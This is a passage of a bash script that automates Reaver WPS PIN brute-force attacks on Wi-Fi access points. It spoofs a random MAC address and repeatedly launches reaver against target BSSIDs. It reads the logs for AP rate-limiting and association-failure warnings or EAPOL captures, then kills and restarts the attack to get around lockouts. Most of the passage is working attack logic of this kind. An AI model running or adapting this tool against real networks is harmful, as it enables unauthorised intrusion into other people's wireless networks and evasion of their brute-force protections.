	echo -e "$info  2. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R47 == y || $USE_R47 == Y ]] && [[ $USE_LONG47 == y || $USE_LONG47 == Y ]] && [[ $USE_PIN47 == y || $USE_PIN47 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME47"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL47"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP47"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX47" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY47"
echo -e "$info Reaver live time                   = $yel$LIVE47 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME47-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL47 -b $TARGETAP47 -r $RX47:$RY47 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN47 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME47-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE47-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE47 == n ] || [ $KEEP_FILE47 == N ]; then

          rm VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R48 == n || $USE_R48 == N ]] && [[ $USE_LONG48 == n || $USE_LONG48 == N ]] && [[ $USE_PIN48 == n || $USE_PIN48 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME48"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL48"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP48"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE48 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME48-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL48 -b $TARGETAP48 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME48-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE48-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R48 == y || $USE_R48 == Y ]] && [[ $USE_LONG48 == n || $USE_LONG48 == N ]] && [[ $USE_PIN48 == n || $USE_PIN48 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME48"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL48"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP48"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX48" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY48"
echo -e "$info Reaver live time                   = $yel$LIVE48 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME48-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL48 -b $TARGETAP48 -vv -x 60 -r $RX48:$RY48 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME48-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE48-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R48 == n || $USE_R48 == N ]] && [[ $USE_LONG48 == y || $USE_LONG48 == Y ]] && [[ $USE_PIN48 == n || $USE_PIN48 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME48"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL48"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP48"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE48 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME48-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL48 -b $TARGETAP48 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME48-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE48-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

